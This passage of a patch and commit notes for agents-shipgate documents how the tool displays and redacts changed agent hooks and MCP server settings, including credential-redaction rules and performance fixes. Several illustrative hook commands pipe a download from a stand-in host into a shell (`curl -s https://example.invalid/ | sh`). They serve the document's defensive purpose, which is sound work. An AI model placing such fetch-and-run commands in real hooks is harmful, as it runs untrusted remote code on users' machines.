Drift reads its grants without the new members and reports what contract v40 reported, with no new row, expansion signal or incomparable reason. `audit --host --save-baseline` may now replace it and reports `status: updated`, with no move-aside step. A baseline older than `0.6` is still refused with `unsupported_baseline_schema`, as the [#771 note](#workflow-step-action-references-contract-v40-771) describes. diff --git a/docs/distribution-surfaces.md b/docs/distribution-surfaces.md index 3a2f6893e..27b3f5a84 100644 --- a/docs/distribution-surfaces.md +++ b/docs/distribution-surfaces.md @@ -74,7 +74,7 @@ and this document are checked against each other by | `human_review_request` | `docs/human-review-request.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | One complete-evidence documentation-quality class only; no authority or decision ingestion. | | `human_review_decision` | `docs/human-review-decision.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | Host-neutral read-only evaluator; no GitHub acquisition, persistence or operation authority. | | `github_action` | `action.yml`, `scripts/github_action_outputs.py` | `merge_verdict_vocabulary` | `test_action_input_enumerates_engine_merge_verdicts`, `test_action_output_script_shares_the_engine_merge_verdicts` | The paired `shipgate_wheel`/`shipgate_wheel_sha256` inputs install a caller-supplied local wheel instead of a published version, so that route names no channel and claims no `executable_pin`; it is refused unless both halves are given, and it installs `--no-deps`. `tests/test_action_engine_install.py` proves the refusals.

Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its launch arguments (#819) and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or a redacted or shortened argument; a hook with each handler field that changed — its group's matcher, its type, its command summary, its timeout — before and after, a handler only one side declares, or a reorder, all read from the handlers its host-grants `0.7` grant publishes, redacted and bounded by the engine where it built the grant and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before.

The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its launch arguments (#819) and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or a redacted or shortened argument, and, when a side declares more arguments than the grant publishes, that only the first twelve were compared and an argument past them is not shown; a hook with each handler field that changed — its group's matcher, its type, its command summary, its timeout — before and after, a handler only one side declares, or a reorder, and past the handler or command-argument bound the same kind of sentence naming a handler or command argument past it, all read from the handlers its host-grants `0.7` grant publishes, redacted and bounded by the engine where it built the grant and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | | `zero_install_detector` | `tools/shipgate-detect.py` | `agent_project_verdict` | `test_detector_verdict_matches_cli` | Emits no `diagnostics[]` and no `next_actions[]`; evidence strings and framework scores are simplified.

The credential header rule ran on a hook's whole command, where an unquoted value runs to the end of the text, and `PWD` ends in `pwd`: `docker run --rm -v $PWD:/src --fix` published `-v $PWD:` and nothing after it, so the image moving to another registry with `--privileged` added read "no difference", and an added `echo auth: ok; curl ... | sh` hook printed only `echo auth: `. The digest's string rule and the label rule still run on the whole command; the header rule now runs on each word, as it already did for MCP arguments, and never takes a `$NAME` shell variable as a header name. A word that ends in a credential header name and its colon, as an unquoted `-H Authorization: Basic ` splits, takes the next word as its value, and the word after that when the next is an authentication scheme, so splitting at whitespace publishes no credential. docs/host-boundary-support.md said a change confined to the value after a credential-named flag is still a row. For a value the digest's own input redacts (after --token, --api-key or --password, a --password=... value, an X-Api-Key: header value) it is not compared and is no row, as on 1.1.0. That page, STABILITY and the CHANGELOG now say so, and keep "still a row" for positional tokens, generated keys, a header's words after its scheme, a flag the digest does not name, words past a bound and unpublished settings; the CHANGELOG says the display's redaction never hides a change. The review's nonblocking findings, all fixed: - `args` that is not a list on both sides no longer says arguments were compared: its entry reads "such as the command's path or arguments", as on main. - "handlers past the first N" names the bound of 16, not the other side's listed count. - Escaped JSON inside a double-quoted shell word (`{\"password\": \"...\"}`) is read by the header rule, which accepts a backslash before a quote, so its value is no longer published. - A POSIX shell's `-c` script (`bash -c "X=1; curl ... | sh"`) published `X=` and nothing after it. In a shell's script a leading assignment's value now ends where the shell ends it, at the first whitespace outside quotes and escapes, so it publishes `X= curl ... | sh`. Anywhere else a `NAME=value` word's value is still the rest of the word, since `docker run -e "FOO=a b"` sets FOO to `a b`, and a value holding a substitution, a parenthesis, a brace or an open quote is still replaced whole. - The digest's credential-assignment rule took time quadratic in a long run of name characters (40,000 characters of `password`: 1.6 seconds in the digest input, 6.6 seconds for one hook command's detail).

The detail is display only, so the display's redaction never hides a change: a change is a row exactly when it was before, and one confined to a value `config_sha256`'s own input already redacts (after `--token`, `--api-key` or `--password`, or an `X-Api-Key:` header value) is no row, as before. A hook `timeout` is published as the number it is, or as bounded text when it is not a finite number or has more than 80 digits. The digest's own credential-assignment rule no longer takes time quadratic in a long run of name characters (40,000 characters of `password` took 1.6 seconds, and a hook command's detail about four times that); it matches exactly what it matched, so every `config_sha256` is unchanged. - **Saved baselines hold none of it:** `audit --host --save-baseline` writes each hook and MCP grant without `handlers` or `args`, in either scope, so a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json`, managed settings or a git-ignored `.claude/settings.local.json` never reaches the committed baseline. A saved `0.7` baseline's grants are the ones a `0.6` baseline holds; no comparison, row or digest read them, and `inventory_sha256` is unchanged. - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. Re-running `diff --json` on the 80 vendored benchmark cases with the prepared `1.1.0` commit and this tree gave byte-identical rows on all 80; 42 entries on 35 cases gained detail, and each of the 7 changed hook or MCP entries (six repositories; one is vendored in both benchmarks) that read `PreToolUse → PreToolUse` or `no difference in the command name …` now names its field, such as `mcp-outline: args mcp-outline==1.10.0 → mcp-outline==1.10.1` or `PreToolUse: handler 2 timeout 30 → 120`. - **Compatibility:** a `0.6` baseline stays comparable with no new row or reason, and `audit --host --save-baseline` may now replace it; an older one is still refused, as before.

A word that ends in such a name and its colon, as an unquoted `-H Authorization: Basic …` splits, takes the next word as its value, and the word after that too when the next is a scheme such as `Basic` or `Bearer`; no later word is hidden, so `echo auth: ok; curl -s https://example.invalid/x | sh` publishes `echo auth: curl -s https://example.invalid/ | sh`.

Redaction errs toward hiding within a word: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. The value of an `env`-style `NAME=value` word runs to the end of the word, since `docker run -e "FOO=a b"` sets `FOO` to `a b`, except in the script a POSIX shell (`sh`, `bash`, `zsh`, `dash`, `ksh`, `mksh` or `ash`) runs after `-c` or a short-option cluster holding `c` (`-lc`, `-ec`), in a hook command or an MCP server's `args`: there each leading assignment's value ends where the shell ends it, at the first whitespace outside quotes and escapes, so `bash -c "X=1; curl … | sh"` publishes `X= curl … | sh`. When that end cannot be read from the text, as with a substitution (`$(…)`, `${…}`, a backtick), a parenthesis, a brace or an unclosed quote in the value, the rest of the word is the value, as for any other word. - **Bounds.** A word longer than 80 characters, or a matcher longer than 120, is cut and ends in `…`. `omitted_args` and `omitted_handlers` count the words, arguments and handlers past their bound; at most sixteen handlers per event are listed. When an edit is confined to what is past a bound, the row says only the first ones were compared and names what is past them, below. - **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. -- **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before, and redacting a value never hides one: rotating a positional token is still a row, which says the change is in a redacted or shortened argument. +- **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from.

A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value or an `X-Api-Key:` header value, is not compared, so a change confined to it is no row, as before. - **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `args` or `omitted_args`, in either scope. A baseline is committed ("Commit it"), and a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry values that were never in the repository into it, a short positional password among them, which no word rule recognises. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has no `handlers` or `args`; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. - **The rows.** A changed hook names each differing field with its before and after, `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced; and a reorder as `the same handlers in a different order`. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`. A changed MCP server adds `args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest` beside its other published facts, and an added one `docs (command name npx; args -y example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting`, and a command server `no difference in the command name npx, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting`. When either side declares more than it publishes, the sentence names the bound: a command server with more than twelve arguments reads `no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, the command's path, a redacted or shortened argument, or another setting`, a hook with more than sixteen handlers reads `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`, and one whose command has more than eight arguments names `a command argument past the first 8`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. diff --git a/docs/host-boundary-support.md b/docs/host-boundary-support.md index 700af54a6..93180e973 100644 --- a/docs/host-boundary-support.md +++ b/docs/host-boundary-support.md @@ -170,14 +170,19 @@ word and at most eight words after it, redacted and bounded) and its `PostToolUse → PostToolUse`.

They are possessive now; a value cannot end in a blank, so the rule matches exactly what it matched; - the shell-flag test, -[A-Za-z]*c[A-Za-z]*, backtracked over every c of a long option cluster. It now tests -[A-Za-z]+ and looks for the c apart; - the digest-pin test searched the whole word before every hex run for a sha256: prefix. It reads only the seven characters before the run. Timing each reader near the bound found three more of the same kind in the hook reader. shlex grows a word one character at a time, so a 1 MiB command took 16 seconds to split; _command_words is now a one-pass reader that returns exactly shlex's words. The leading-assignment loop copied the word list once per assignment, and the -c script's assignment loop copied the rest of the script once per assignment; both walk by index now. Near the bound every shape reads in under two seconds, and a test holds each under ten; a randomized test holds the rewritten rules to what they published before. In a shell's -c script an assignment's value now also ends at an unquoted ;, & or |, so `X=1;curl ... | sh` names curl instead of hiding it, and every word of the script that starts with an upper-case NAME=, or a quote and one, is read as an assignment rather than only the leading ones: `export DB_PASS=...` and `cd /x && DB_PASS=... ./run.sh` publish DB_PASS=, as the same words in a plain hook command already did. A < or > does not end a value, since a marker an earlier rule wrote there holds both. docs/quickstart.md said an edit confined to a credential-redacted argument says so. A value the digest's own input already redacts (after --token, --api-key or --password, or an X-Api-Key: header value) is not compared and prints no entry, as the other pages state; "says so" now covers only the command's path, any other redacted argument and what is past a bound. STABILITY and the CHANGELOG describe the script rule, say that a script after env or sudo is read as any other word, and name lower- and mixed-case assignments (db_pass=..., a connection string's Pwd=...) among what no rule recognises. Rebased onto #821 (#852), which also moved the runtime contract to 41. The resolution, in the commits that introduced each entry, extends contract v41 in place, and the CHANGELOG, STABILITY, docs/agent-contract-current.md and contract.py name each change's versions (verifier 0.21 and capability diff 0.4 are #821's, host-grants 0.7 is #819's).

Before, `diff`, `verify`, the manifest-free PR comment and `check` printed `PostToolUse → PostToolUse` whether the edit was to the hook's matcher, its command or its timeout, and an MCP server whose version pin moved from `example-mcp-server@1.2.3` to `@latest` read `docs: no difference in the command name npx, env key names or header key names; the change is in a detail this output does not show, such as the command's path or arguments`: the grants carried none of it, and only `config_sha256` saw the edit. On five of 23 public pull requests measured on 2026-09-15, the hook rows showed only event names. (#819, slice 2 of #795; direction is #820, an unpinned-launch note #825) - **The rows a reviewer reads:** `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600` and `docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest`, in `diff`, `verify` text, the PR comment and `check` text, and in `review.changes[].change` in `diff --json` and `verifier.json`. With several handlers under one event the entry names which one (`handler 2 timeout 5 → 50`), an added or removed handler is listed as such, and a reorder says so. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`, and an added MCP server its arguments. When none of the published fields differ, the entry says the change is in a detail it does not show — a redacted or shortened word, or a setting such as `async` or `cwd` — instead of repeating the same values.

The shard traces coverage on a shared runner, which multiplies every line of Python, and those shapes still read a 1 MiB word a character at a time in Python in several places. Those places now find the next character that matters with a pattern instead: the command splitter reads a piece at a time (a run of blanks, a quoted run, a lone quote, a run of anything else), the -c script walker and the value-end scan jump to the next quote, backslash, blank or separator, the generated-key test searches for each character class and counts letter and digit runs with patterns, and the generated-run scan reads only runs of twenty or more characters, the only ones it can replace. A 1 MiB word splits and scans about ten times faster. A second randomized test holds each scan to what its character-by-character form published. The many-assignment shapes spend their time in per-word Python that no pattern removes, so the bound is now 60 seconds: at this length the reviewed shapes took from over a minute (the hex runs) to over an hour (the header blanks). --- src/agents_shipgate/core/host_grants.py | 147 ++++++++++++++---------- tests/test_hook_mcp_detail_fields.py | 139 +++++++++++++++++++++- 2 files changed, 221 insertions(+), 65 deletions(-) diff --git a/src/agents_shipgate/core/host_grants.py b/src/agents_shipgate/core/host_grants.py index b283eb56c..50111d595 100644 --- a/src/agents_shipgate/core/host_grants.py +++ b/src/agents_shipgate/core/host_grants.py @@ -10,6 +10,7 @@ import errno import hashlib +import itertools import json import math import os @@ -901,13 +902,22 @@ def _bounded_detail(text: str, limit: int = MAX_DETAIL_WORD_CHARS) -> str: return text if len(text) <= limit else text[: limit - 1] + "…" +#: Upper case, lower case and digits, each searched for in a word already +#: known to be ASCII, rather than tested character by character. +_DETAIL_CHARACTER_CLASS_RES = (re.compile(r"[A-Z]"), 